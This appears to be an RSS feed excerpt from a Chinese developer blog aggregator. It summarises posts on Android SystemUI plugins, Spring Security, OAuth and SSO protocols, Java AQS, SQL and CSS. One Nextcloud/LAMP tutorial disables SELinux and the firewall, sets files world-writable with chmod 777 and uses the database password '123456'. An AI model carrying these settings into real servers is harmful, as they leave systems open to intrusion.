      <description>在前面的视频、文章中我们介绍完了整个车载Android应用开发所需要的基础知识：&#xA;【视频文稿】车载Android应用开发与分析 - 走进车载操作系统 - 掘金【视频文稿】车载Android应用开发与分析 - AOSP的下载与编译 - 掘金【视频文稿】车载Android应用开发与分析 - 开发系统应用 - 掘金【视频文稿】车载Android应用开发与分析 - AIDL实践与封装(上) - 掘金【视频文稿】车载Android应用开发与分析 - AIDL实践与封装(下) - 掘金 本期内容，我们介绍原生Android Automotive中车载应用的实现方式和它的原理。首先要介绍的就是车载应用开发中非常重要的一个系统应用，Android系统的UI - SystemUI。&#xA;由于原生Android系统的SystemUI代码量很大、内容也非常庞杂，这里我会挑选出对车载SystemUI开发具有参考意义的模块进行介绍，大约会有4-5期的内容，主要分为以下几个模块：&#xA;车载Android应用开发与分析 - SystemUI 「功能」与「源码结构」分析 - 掘金车载Android应用开发与分析 - 初试 SystemUI Plugin SystemUI的源代码可能是所有Android原生应用中最复杂的一个，当我们需要定制SystemUI时，庞大的源码量会对的定制化开发带来巨大的潜在风险。所以目前车载SystemUI常见的做法就是，从原生SystemUI中移植少量必须的源码，然后从头定制一个源码、功能完全可控的SystemUI。&#xA;重新开发一个SystemUI就是唯一的选项吗？当然不是！Google官方早就注意到了这个问题，所以SystemUI中提供插件化的开发方式 - SystemUI Plugin。&#xA;本文源码地址：/frameworks/base/+/refs/heads/main/packages/SystemUI/plugin/ExamplePlugin/&#xA;本文源码环境基于Android 13&#xA;SystemUI Plugin SystemUI plugin机制是一种让SystemUI的功能可以被动态替换或修改的方法，它可以让开发者快速创建和迭代SystemUI的原型，而尽可能少的修改SystemUI的主框架。&#xA;注意：使用Plugin并不能保证我们完全不需要修改SystemUI的主框架，毕竟需求永远是多变的。&#xA;Plugin Hooks Plugin hooks是一些预定义的插件接口，它们可以让应用实现一些特定的功能，并通过Intent和注解来注册和声明插件的类型和版本。Plugin hooks有多种类型，例如OverlayPlugin, QSFactory, VolumeDialog等，每种类型都有一个对应的action和expected interface，用于标识插件的功能和要求。&#xA;Android 13中Plugin hooks预定义接口主要有以下几种：&#xA;BcSmartspaceDataPlugin：这个plugin可以让应用提供自定义的数据给锁屏界面上的智能空间（BcSmartspace），例如天气、日历、新闻等。ClockProviderPlugin：这个plugin可以让应用提供自定义的时钟样式给锁屏界面和始终应用。DozeServicePlugin：这个plugin可以让应用自定义Doze模式的行为，例如控制屏幕亮度、显示内容、传感器等。FalsingPlugin：这个plugin可以让应用自定义对误触（Falsing）事件的检测和处理，例如判断用户是否真的想滑动通知栏或解锁屏幕等。GlobalActions：这个plugin可以让应用自定义全局操作（GlobalActions）对话框的外观和行为，例如添加新的操作按钮或改变对话框样式。GlobalActionsPanelPlugin：这个plugin可以让应用在全局操作对话框中添加一个可展开的面板，用于显示更多的操作选项或信息。IntentButtonProvider：这个plugin可以让应用在锁屏界面上添加一个自定义的按钮，用于启动一个指定的Intent。NavigationEdgeBackPlugin：这个plugin可以让应用自定义导航栏边缘返回（NavigationEdgeBack）手势的行为，例如改变触发区域或动画效果。NotificationListenerController：这个plugin可以让应用控制通知监听器（NotificationListener）服务的连接和断开，以及获取通知事件和数据。NotificationMenuRowPlugin：这个plugin可以让应用自定义通知菜单栏（NotificationMenuRow）的外观和行为，例如添加新的菜单项或改变菜单样式。NotificationPersonExtractorPlugin：这个plugin可以让应用自定义从通知中提取人物信息（NotificationPersonExtractor）的逻辑，例如识别通知中包含的联系人或头像等。OverlayPlugin：这个plugin可以让应用自定义覆盖在通知栏上方的视图（OverlayView），用于显示一些额外的内容或功能。PluginFragment：这个plugin可以让应用在SystemUI中嵌入一个Fragment，用于显示一些自定义的界面或功能。QSFactory：这个plugin可以让应用提供自定义的快速设置工厂（QSFactory），用于创建快速设置图块或面板。SensorManagerPlugin：这个plugin可以让应用使用SensorManager服务来注册和取消注册传感器监听器，以及获取传感器事件和数据。ToastPlugin：这个plugin可以让应用自定义Toast消息（Toast）的外观和行为，例如改变Toast位置或持续时间等。ViewProvider：这个plugin可以让应用提供一个自定义的视图（View），用于替换SystemUI中某些组件或功能。VolumeDialog：这个plugin可以让应用自定义音量调节对话框（VolumeDialog）的外观和行为，例如添加新的音量控制选项或改变音量条的样式。 Plugin 上手 创建一个AndroidStudio的SystemUI plugin项目，可以参考以下的步骤：&#xA;1）编译SystemUIPluginLib.jar&#xA;使用Plugin之前我们需要编译出SystemUIPluginLib.jar，在AOSP源码根目录执行下面的指令。&#xA;make SystemUIPluginLib 然后就可以在下面的目录中得到SystemUIPluginLib.</description>
    </item>
    <item>
      <title>8、Spring security配置放过的请求又被拦截了</title>
      <link>https://bchobby.github.io/posts/6c7feac5c3cd26cb5028400d1a1da739/</link>
      <pubDate>Wed, 13 Sep 2023 07:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c7feac5c3cd26cb5028400d1a1da739/</guid>
      <description>项目场景： 在项目中有一些接口需要放开spring security拦截，配置方法如下，其中permitUrls为需要放过的请求路径。&#xA;@Override public void configure(WebSecurity web) { web.ignoring().antMatchers(permitUrls); } 问题描述 实际请求地址：/api/v1.0/manufacturer/test/authorization/index&#xA;配置了放开如下路径，但是仍然被拦截&#xA;&#34;/&#34; + VERSION_NO + &#34;/manufacturer/**/authorization/index&#34;, 其中VERSION_NO 为版本号如：v1.0 或 v2.0&#xA;原因分析： 匹配路径规则从域名后即开始匹配，因此配置spring security放过路径是就要从域名后路径开始考虑&#xA;解决方案： 去掉请求路径前面的/api</description>
    </item>
    <item>
      <title>huggingface的数据集加载方式</title>
      <link>https://bchobby.github.io/posts/dcfea28b71d6936c7f938670f9bdf45b/</link>
      <pubDate>Tue, 12 Sep 2023 19:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcfea28b71d6936c7f938670f9bdf45b/</guid>
      <description>加载huggingface上的数据集 假设数据集长这样&#xA;通过下面的代码进行加载&#xA;rom datasets import load_dataset from transformers import AutoModelForSequenceClassification, AutoTokenizer #加载模型 model = AutoModelForSequenceClassification.from_pretrained(&#34;bert-base-uncased&#34;) tokenizer = AutoTokenizer.from_pretrained(&#34;bert-base-uncased&#34;) # 加载数据 dataset = load_dataset(&#34;glue&#34;, &#34;mrpc&#34;, split=&#34;train&#34;) # 数据token def encode(examples): return tokenizer(examples[&#34;sentence1&#34;], examples[&#34;sentence2&#34;], truncation=True, padding=&#34;max_length&#34;) #修改 dataset = dataset.map(lambda examples: {&#34;labels&#34;: examples[&#34;label&#34;]}, batched=True) # 添加数据 dataset = dataset.map(encode, batched=True) dataset[0] ---------------每个数据行都是用dict的形式输出的 {&#39;sentence1&#39;: &#39;Amrozi accused his brother , whom he called &#34; the witness &#34; , of deliberately distorting his evidence .</description>
    </item>
    <item>
      <title>找不到Gateway Filter 中的Unable to find GatewayFilterFactory with name AddRequestHeadersIfNotPresent</title>
      <link>https://bchobby.github.io/posts/6c0e1430fdd89a367e307e9390c28cb0/</link>
      <pubDate>Tue, 12 Sep 2023 17:18:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c0e1430fdd89a367e307e9390c28cb0/</guid>
      <description>在学习Gateway Filter中 配置FilterAddRequestHeadersIfNotPresent时运行报错Unable to find GatewayFilterFactory with name AddRequestHeadersIfNotPresent，我查看了一遍配置文件并没有写错名字或缩进错误&#xA;找了半天也没有发现任何错误，然后我在@Configuration注解下的配置文件中尝试使用api形式去写，但是根本找不到.addRequestHeadersIfNotPresen，可以找到.addRequestHeader方法。&#xA;有可能是添加依赖的问题，但是和其他的断言api相互矛盾，如果是依赖的问题，其他的api也应该不能使用，所以这个问题到现在还没有解决，有没有大神可以解决一下，看看是哪里的问题！！</description>
    </item>
    <item>
      <title>对象多级对象数组同级合并子节点</title>
      <link>https://bchobby.github.io/posts/7723e90a00cdd89c00110b3fcbcbd1a1/</link>
      <pubDate>Tue, 12 Sep 2023 16:59:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7723e90a00cdd89c00110b3fcbcbd1a1/</guid>
      <description>// 递归合并子节点函数&#xA;const mergeChildren = (data:columnObj[]) =&amp;gt; {&#xA;const mergedData:columnObj[] = [];&#xA;for (let i=0; i&amp;lt;data.length; i++) {&#xA;const item = { ...data[i] };&#xA;if (item.children &amp;amp;&amp;amp; item.children.length&amp;gt;0) {&#xA;const mergedItem = mergedData.find(merged =&amp;gt; merged.title === item.title);&#xA;if (mergedItem) {&#xA;mergedItem.children!.push(...item.children);&#xA;} else {&#xA;mergedData.push(item);&#xA;}&#xA;} else {&#xA;mergedData.push(item);&#xA;}&#xA;// 递归处理子节点&#xA;for (let k = 0; k&amp;lt;mergedData.length; k++) {&#xA;if (mergedData[k].children &amp;amp;&amp;amp; mergedData[k].children!.length &amp;gt; 0) {&#xA;mergedData[k].children = mergeChildren(mergedData[k].</description>
    </item>
    <item>
      <title>浅谈Oauth2.0授权</title>
      <link>https://bchobby.github.io/posts/6b5bdb6155e6e42ad43afeb67d381aad/</link>
      <pubDate>Tue, 12 Sep 2023 16:48:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b5bdb6155e6e42ad43afeb67d381aad/</guid>
      <description>一、背景 近期公司准备上身份认证平台（IAM），主要有两块内容，一部分是单点登录、一部分是账号生命周期管理。其中涉及几个常用的单点登录标准认证协议，其中有SMAL、LOAP、CAS、OIDC、Oauth2.0，本篇文章对Oauth2.0认证协议进行讲解。&#xA;二、Oauth发展史 OAuth的发展史可以分为以下几个阶段：&#xA;2007年12月，OAuth 1.0版本发布，并迅速成为工业标准。&#xA;2008年6月，发布了OAuth 1.0 Revision A，这是一个稍作修改的修订版本，主要修正了一个安全方面的漏洞。&#xA;2010年4月，OAuth 1.0在IETF发布，协议编号RFC 5849。&#xA;2010年，发布了OAuth 2.0，这是OAuth协议的下一个版本，该版本与OAuth 1.0不兼容。&#xA;OAuth 诞生之初是为了解决 Web 浏览器场景下的授权问题。比如有一个网站A，在新用户注册时是支持QQ账号注册的，如果网站A能拿到QQ昵称和头像作为网站A用户注册的基本资料，这样新注册用户流程就简单多了，很多信息都不需要用户自己填写，直接套用QQ号的信息就可以了。这样的注册模式就对用户很友好，自然很容易提升用户注册的热情。 三、Oauth2.0定义 OAuth 2.0一词中的&#34;Auth&#34;表示&#34;授权Authorization&#34;，字母&#34;O&#34;表示&#34;开放Open&#34;，连在一起就表示&#34;开放授权&#34;。这也是为什么我们使用OAuth的场景，通常发生在开放平台的环境下。首先需要区分下认证和授权：&#xA;认证（Authentication）：用来验证某个用户是否具有访问系统的权限。如果认证通过，该用户就可以访问系统，从而创建、修改、删除、查询平台支持的资源。认证的方式就是我们登录，比如账密登录、手机验证码登录等。授权（Authorization）：用来验证某个用户是否具有访问某个资源的权限，如果授权通过，该用户就能对资源做增删改查等操作。 简单而言，认证就是证明访问者的身份，决定他是否能进入系统；授权则是决定访问者能做哪些内容。一般来说，都是先认证后检查授权。&#xA;四、Oauth2.0常用角色 OAuth 2.0 主要有4类角色：&#xA;resource owner：资源所有者，指终端的“用户”（即授权登录中资料信息的拥有者）。&#xA;resource server：资源服务器，即服务提供商存放受保护资源。访问这些资源，需要获得访问令牌（access token）。&#xA;client：客户端，代表向受保护资源进行资源请求的第三方应用程序。&#xA;authorization server： 授权服务器， 在验证资源所有者并获得授权成功后，将发放访问令牌给客户端。&#xA;五、Oauth2.0常用模式 OAuth2.0提供了四种授权(获取令牌)方式，四种方式均采用不同的执行流程，让我们适应不同的场景。&#xA;授权码（authorization-code）隐藏式（implicit）密码式（password）：客户端凭证（client credentials） 5.1、授权码（authorization-code）--最广泛 授权码（authorization code）方式，指的是第三方应用先申请一个授权码，然后再用该码获取令牌。这种方式是最常用的流程，安全性也最高，它适用于那些有后端的 Web 应用。授权码通过前端传送，令牌则是储存在后端，而且所有与资源服务器的通信都在后端完成。这样的前后端分离，可以避免令牌泄漏。&#xA;重要步骤说明：&#xA;第一步，A 网站提供一个链接，用户点击后就会跳转到 B 网站，授权用户数据给 A 网站使用。下面就是 A 网站跳转 B 网站的一个示意链接。&#xA;https://b.com/oauth/authorize? response_type=code&amp;amp; client_id=CLIENT_ID&amp;amp; redirect_uri=CALLBACK_URL&amp;amp; scope=read 上面 URL 中，response_type参数表示要求返回授权码（code），client_id参数让 B 知道是谁在请求，redirect_uri参数是 B 接受或拒绝请求后的跳转网址，scope参数表示要求的授权范围（这里是只读）。 第二步，用户跳转后，B 网站会要求用户登录，然后询问是否同意给予 A 网站授权。用户表示同意，这时 B 网站就会跳回redirect_uri参数指定的网址。跳转时，会传回一个授权码，就像下面这样。下面 URL 中，code参数就是授权码。 https://a.</description>
    </item>
    <item>
      <title>mac端Python编辑开发：pycharm pro 2023 for mac</title>
      <link>https://bchobby.github.io/posts/ddbeca82e714b894af14c0e05779234f/</link>
      <pubDate>Tue, 12 Sep 2023 16:48:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddbeca82e714b894af14c0e05779234f/</guid>
      <description>大家好，今天我要向大家介绍一款非常实用的Mac软件——JetBrains pycharm pro 2023 for mac。&#xA;使用场景疑问：你是否经常需要进行Python编程开发？你是否需要一款强大的集成开发环境（IDE）来帮助你更加高效地进行Python编程开发？&#xA;安装：pycharm pro 2023 for mac&#xA;主要功能介绍：JetBrains pycharm pro 2023 for mac是一款专业的Python集成开发环境，它可以帮助你更加高效地进行Python编程开发，包括代码编写、调试、测试、代码重构等操作。&#xA;其中，JetBrains pycharm pro 2023 for mac的主要功能包括：&#xA;代码编写：JetBrains pycharm pro 2023 for mac可以根据你的代码习惯和代码风格，智能推荐代码实现方案，提高你的编码效率。代码调试：JetBrains pycharm pro 2023 for mac提供了强大的调试功能，可以帮助你更加快速地定位代码错误和调试程序。代码重构：JetBrains pycharm pro 2023 for mac可以帮助你更加方便地进行代码重构操作，提高你的代码质量和可维护性。代码检查：JetBrains pycharm pro 2023 for mac可以自动检查你的代码质量和风格，提供代码优化和重构建议。插件支持：JetBrains pycharm pro 2023 for mac支持丰富的插件，可以根据你的需求进行定制和扩展，提高你的编程效率和体验。 除此之外，JetBrains pycharm pro 2023 for mac还提供了丰富的集成功能，包括与GitHub、Bitbucket、Visual Studio Code等各种开发工具的集成，让你更加方便地进行协作和开发。&#xA;总之，JetBrains pycharm pro 2023 for mac是一款非常实用的Python集成开发环境，它可以帮助你更加高效地进行Python编程开发，提高你的编码效率和代码质量。如果你是一位Python开发者，那么JetBrains pycharm pro 2023 for mac绝对是一个不错的选择。</description>
    </item>
    <item>
      <title>单点登录常用协议原理和流程</title>
      <link>https://bchobby.github.io/posts/0d67fffd61e497c936a5465d1313c578/</link>
      <pubDate>Tue, 12 Sep 2023 16:46:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d67fffd61e497c936a5465d1313c578/</guid>
      <description>一、背景 近期公司准备上身份认证平台（IAM），主要有两块内容，一部分是单点登录、一部分是账号生命周期管理。其中涉及几个常用的单点登录标准认证协议，其中有SMAL、LOAP、CAS、OIDC、Oauth2.0，本篇文章简单介绍。&#xA;二、单点登录介绍 单点登录是指用户只需输入一次用户密码，在某一个应用完成认证登录后，即可直接进入所有应用系统。由此可以看出，单点登录比统一认证更进一步，它在让所有应用系统使用一套用户密码访问的基础上，还能让用户只需要登录其中一个应用，访问其他应用不在需要再输入这套用户密码。&#xA;三、单点登录协议 3.1、CAS协议 CAS（ Central Authentication Service）中央认证服务，是一种独立开发指令协议，旨在为web应用系统提供一种可靠的单点登录方法。&#xA;CAS是开源的企业级单点登录方案，Apache2.0许可证，允许修改、发布、商用。&#xA;Cas包含两个部分，Cas Server和Cas Client。&#xA;Cas Server需要单独部署，负责对用户的认证工作。&#xA;Cas Client和受保护的客户端应用部署在一起，以Filter的方式保护受保护的资源，负责处理对客户端受保护资源的访问请求，需要对请求方进行身份认证时，重定向到Cas Server进行认证。&#xA;Cas Client支持多种客户端，包括Java、PHP、Python、.Net、Perl、Apache、uPortal、Ruby等语言。&#xA;流程说明： I，用户浏览器访问应用中的受保护资源。&#xA;II，Cas Client拦截请求，检查请求中是否带有Service Ticket（ST），如果没有就将请求重定向到Cas Server登录地址，并传送Service。&#xA;III，用户输入认证信息，登录&#xA;IV，用户登录成功，Cas Server随机产生一个相当长度、唯一、不可伪造的Service Ticket，并缓存Service Ticket用于验证，之后重定向到Service地址，并为客户端浏览器设置一个Ticket Granded Cookie（TGC）。&#xA;V，Cas Client拿到Service和新产生的Ticket后，请求Cas Server验证Service Ticket。&#xA;VI，Cas Server验证通过后，返回用户信息。&#xA;协议过程中所有与Cas的交互均采用SSL协议，确保ST和TGC的安全性；过程中有两次重定向的过程；Ticket验证过程对用户来说是透明的。&#xA;当用户访问另一个应用的服务再次重定向到Cas Server时，Cas Server会主动获取TGC，如果TGC有效，则直接进入步骤IV，如果TGC失效则需要用户重新认证。&#xA;3.2、OAuth2.0协议 OAuth（开放授权）是一个开放标准，允许用户让第三方应用访问该用户在某一网站上存储的私密的资源（如用户信息、照片，联系人），而无需将用户名和密码提供给第三方应用。&#xA;常见使用场景：&#xA;API访问授权授权登录web应用单点登录 认证和授权过程中涉及的三方包括：&#xA;服务提供商（IAM）：用户用来存储受保护资源。&#xA;用户：受保护资源的拥有者。&#xA;客户端（应用）：需要访问受保护资源的第三方应用。&#xA;流程说明： I，用户打开客户端，客户端要求用户授权。&#xA;II，用户同意给与授权，向服务提供商获取一个临时授权码。&#xA;III，客户端使用临时授权码，向服务提供商申请令牌。&#xA;IV，服务提供商验证临时授权码无误后，向客户端发放令牌。&#xA;V，客户端使用令牌，向服务提供商申请获取受保护资源。&#xA;VI，服务提供商确认令牌无误后，向客户端开发保护资源。&#xA;详细见《浅谈Oauth2.0授权》。&#xA;3.3、OIDC协议 OIDC（OpenID Connect），OIDC=(Identity, Authentication) + OAuth 2.0。它在Oauth2.0之上构建了一个身份层，是一个基于Oauth2.0协议的身份认证标准协议。OIDC的核心在于在Oauth2.0的授权流程中，一并提供ID Token来标识用户身份认证信息，ID Token使用JWT格式包装，可以安全地传输给第三方客户端并且容易被验证。此外还提供了UserInfo接口，可以获取用户更完整的信息。OIDC协议可以适用于各种类型的客户端（比如服务端应用，移动APP，JS应用），且完全兼容OAuth2.0。</description>
    </item>
    <item>
      <title>从ReentrantLock来学习AQS</title>
      <link>https://bchobby.github.io/posts/fadd503314b168b353ca935397fe2290/</link>
      <pubDate>Tue, 12 Sep 2023 15:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fadd503314b168b353ca935397fe2290/</guid>
      <description>众所周知，AQS是Java用来构建同步工具的基本组件，我们常用的ReentrantLock，Semaphore等同步器都是基于AQS来构建的，这里我们从ReentrantLock这个最简单的同步锁来入手，学习AQS的基本思想。JDK源码基于JDK17，对比一下与JDK1.8在细节上有一些不同。&#xA;这里假定各位对AQS有一些基本了解，不再对AQS的原理进行介绍。&#xA;ReentrantLock#lock() @ReservedStackAccess final void lock() { if (!initialTryLock()) acquire(1); } initialTryLock方法会尝试去获取锁，这里公平锁和非公平锁有一些不同，公平锁会先判断当前队列是否为空，为空才会尝试获取&#xA;// NonfairSync final boolean initialTryLock() { Thread current = Thread.currentThread(); if (compareAndSetState(0, 1)) { // first attempt is unguarded setExclusiveOwnerThread(current); return true; } else if (getExclusiveOwnerThread() == current) { int c = getState() + 1; if (c &amp;lt; 0) // overflow throw new Error(&#34;Maximum lock count exceeded&#34;); setState(c); return true; } else return false; } //FairSync final boolean initialTryLock() { Thread current = Thread.</description>
    </item>
    <item>
      <title>SQL数据分析实战：从导入到高级查询的完整指南</title>
      <link>https://bchobby.github.io/posts/0b8e026102b5a265434c694931d4f5e4/</link>
      <pubDate>Tue, 12 Sep 2023 14:56:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b8e026102b5a265434c694931d4f5e4/</guid>
      <description>当进行SQL数据分析实战时，有一些关键步骤和技巧可以帮助你更好地理解和利用数据。在本文中，我们将探讨数据分析的一些基本概念，并提供一些SQL示例来说明这些概念。我们将使用一个虚构的电子商务数据库作为示例数据源。&#xA;步骤1：数据导入 首先，你需要将数据导入数据库中。假设你有一个包含订单、产品和客户信息的数据库。以下是一个示例SQL语句，用于创建这些表并将数据导入其中：&#xA;-- 创建订单表 CREATE TABLE orders ( order_id INT PRIMARY KEY, customer_id INT, order_date DATE, total_amount DECIMAL(10, 2) ); -- 创建产品表 CREATE TABLE products ( product_id INT PRIMARY KEY, product_name VARCHAR(255), unit_price DECIMAL(10, 2) ); -- 创建客户表 CREATE TABLE customers ( customer_id INT PRIMARY KEY, customer_name VARCHAR(255), email VARCHAR(255) ); -- 导入数据 INSERT INTO customers (customer_id, customer_name, email) VALUES (1, &#39;John Smith&#39;, &#39;john@example.com&#39;), (2, &#39;Jane Doe&#39;, &#39;jane@example.com&#39;); INSERT INTO products (product_id, product_name, unit_price) VALUES (101, &#39;Laptop&#39;, 800.</description>
    </item>
    <item>
      <title>Linux之使用LAMP搭建私有云存储</title>
      <link>https://bchobby.github.io/posts/ffc46b7f2d8574fa88e143649b7b44ac/</link>
      <pubDate>Tue, 12 Sep 2023 14:56:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc46b7f2d8574fa88e143649b7b44ac/</guid>
      <description>目录&#xA;Linux之使用LAMP搭建私有云存储&#xA;恢复快照，关闭安全软件&#xA;搭建LAMP环境&#xA;下载安装依赖包&#xA;下载nextcloud软件&#xA;解压nextcloud&#xA;设置nextcloud安装命令权限&#xA;数据库配置&#xA;设置数据库&#xA;重启数据库&#xA;配置httpd&#xA;重启httpd服务&#xA;安装&#xA;打开浏览器后输入服务器IP地址，进入nextcloud安装向导&#xA;管理员的用户名即密码自定&#xA;存储与数据库：选择MySQL/MariaDB，设置数据库用户为nextcloud，密码：123456，数据库名：nextcloud，主机名：localhost Linux之使用LAMP搭建私有云存储 恢复快照，关闭安全软件 [root@www ~]# setenforce 0 [root@www ~]# systemctl stop firewalld 搭建LAMP环境 下载安装依赖包 [root@www ~]# yum install httpd mariadb-server php* -y 注意：如果出现安装冲突可更改为以下命令&#xA;[root@www ~]# yum install httpd mariadb-server php* -y --allowerasing 下载nextcloud软件 [root@www /]# wget https://download.nextcloud.com/server/releases/nextcloud-25.0.1.zip 建议 --- 下载好后，再通过xftp传输到Linux中&#xA;解压nextcloud [root@www /]# unzip nextcloud-25.0.1.zip 设置nextcloud安装命令权限 [root@www /]# chmod -Rf 777 /nextcloud 数据库配置 设置数据库 [root@www ~]# systemctl start mariadb [root@www /]# mysql -uroot -p Enter password: #默认初始没有密码 # 数据库设置 MariaDB [(none)]&amp;gt; create database nextcloud; # 创建数据库 MariaDB [(none)]&amp;gt; create user &#39;nextcloud&#39;@&#39;localhost&#39; identified by &#39;123456&#39;; # 创建用户及密码 MariaDB [(none)]&amp;gt; grant all on nextcloud.</description>
    </item>
    <item>
      <title>Linux常见面试题及答案</title>
      <link>https://bchobby.github.io/posts/74d346b0a3e62261f8497a9da5de7f50/</link>
      <pubDate>Tue, 12 Sep 2023 14:01:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74d346b0a3e62261f8497a9da5de7f50/</guid>
      <description>1、什么是 Linux？ Linux 是一种开源操作系统内核。它最初由 Linus Torvalds 在 1991 年创建，以稳定、可靠和安全为设计原则。Linux 被广泛用于服务器、嵌入式设备以及个人计算机等领域。&#xA;2、如何查看 Linux 的版本？ 要查看 Linux 发行版的版本信息，可以使用 lsb_release -a 命令。这个命令会显示发行版的详细信息，包括版本号、发行日期等。另外，可以使用 uname -r 命令查看内核版本。&#xA;3、如何在 Linux 中创建用户？ 可以使用 useradd 命令来创建用户。例如，要创建一个名为 “john” 的用户，可以运行 useradd john。创建用户后，还需要为其分配密码和设定其他设置。&#xA;4、如何修改用户的密码？ 可以使用 passwd 命令修改用户的密码。例如，要修改用户 “john” 的密码，可以运行 passwd john。然后按照提示输入新的密码即可。&#xA;5、如何查看文件的内容？ 在 Linux 中，可以使用 cat 命令来查看文件的内容。只需简单地运行 cat filename 命令，其中 “filename” 是你想要查看的文件名。&#xA;6、如何列出当前目录的文件和子目录？ 要列出当前目录的文件和子目录，可以使用 ls 命令。运行 ls 命令即可显示当前目录中的所有文件和文件夹。&#xA;7、如何在 Linux 中安装软件？ 在大多数 Linux 发行版中，都有自己的包管理器来安装软件。例如，在 Ubuntu 中可以使用 apt 命令，而在 CentOS 中可以使用 yum 命令。使用适当的包管理器，运行类似 sudo apt install package_name 的命令即可安装所需的软件包。</description>
    </item>
    <item>
      <title>不同场景下的JMETER设置</title>
      <link>https://bchobby.github.io/posts/03e01afe9a9678e296c8d979f992aef9/</link>
      <pubDate>Tue, 12 Sep 2023 13:44:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03e01afe9a9678e296c8d979f992aef9/</guid>
      <description>不同场景下的JMETER设置 1.基准测试&#xA;验证主要业务在单用户运行下的性能指标，为多用户并发并发和混合场景的性能分析提供基础参考。&#xA;基准测试JMETER线程组设置(在1秒内执行5个线程循环一次)：&#xA;2.并发测试&#xA;多用户在同一时间访问某一个模块或则应用的场景，验证用户在多并发情况的性能指标。&#xA;并发测试JMETER线程组设置（在达到并发数100时同时释放请求）：&#xA;3.负载测试&#xA;对所测试的模块或应用，不断的增加模拟用户数，判断在不同模拟用户下响应时间，TPS，服务器相关资源运行情况，找到系统可能存在的性能瓶颈。找到系统支持的最大用户数和最大TPS。&#xA;4.压力测试&#xA;检验系统在高压的状态下，系统的稳定性和容错率，压力测试分为：稳定性测试（24小时以上），极限负载情况下导致系统崩溃下的压力测试。</description>
    </item>
    <item>
      <title>05_css选择器的使用</title>
      <link>https://bchobby.github.io/posts/f2f17ee707aff4d520369f68dbe53da7/</link>
      <pubDate>Tue, 12 Sep 2023 10:47:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2f17ee707aff4d520369f68dbe53da7/</guid>
      <description>一、css选择器的类型 1、标签选择器 用法：直接写 写标签名：标签名{}&#xA;示例：&#xA;&amp;lt;!-- &amp;lt;!DOCTYPE html --&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;标签选择器&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; div { text-align: center; width: 600px; height: 400px; color: blue; background: blanchedalmond; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 标签名是：div --&amp;gt; &amp;lt;div&amp;gt;使用标签选择器添加样式&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 2、id选择器 用法：元素的id属性：#id名{}&#xA;示例：&#xA;&amp;lt;!-- &amp;lt;!DOCTYPE html --&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;id选择器&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; #type { text-align: center; width: 600px; height: 400px; color: blue; background: blanchedalmond; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- id名是：type --&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>02_CSS样式之背景参数设置</title>
      <link>https://bchobby.github.io/posts/68c241ca2c18a041c2bb55ec4b131b89/</link>
      <pubDate>Tue, 12 Sep 2023 10:44:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68c241ca2c18a041c2bb55ec4b131b89/</guid>
      <description>一、设置背景颜色 设置背景颜色可用参数：&#xA;**可用参数一： background ** **可用参数二：background-color ** 注意参数一和参数二 ：任意选择一个使用即可 例如：&#xA;&amp;lt;!DOCTYPE&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;背景颜色设置&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; div { height: 600px; /* 1.设置背景颜色:background 或者 background-color */ background:red; background-color:yellowgreen } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;背景设置的使用&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 二、设置背景图片 把图像设置为背景：&#xA;可用参数一： background-image 属性的默认值是 none,表示背景上没有放置任何图像 如果需要设置一个背景图像,必须为这个属性设置一个 URL 值 例如：&#xA;&amp;lt;!-- &amp;lt;!DOCTYPE html --&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; div { height: 600px; /* 2.设置图像为背景图像:background-image */ background-image: url(./600.jpg); } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;设置背景图片&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 三、设置背景平铺 需要在页面上对背景图像进行平铺：</description>
    </item>
    <item>
      <title>程序员必须掌握的算法</title>
      <link>https://bchobby.github.io/posts/50fa702c43e54edf3b3b57761d862d74/</link>
      <pubDate>Tue, 12 Sep 2023 08:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50fa702c43e54edf3b3b57761d862d74/</guid>
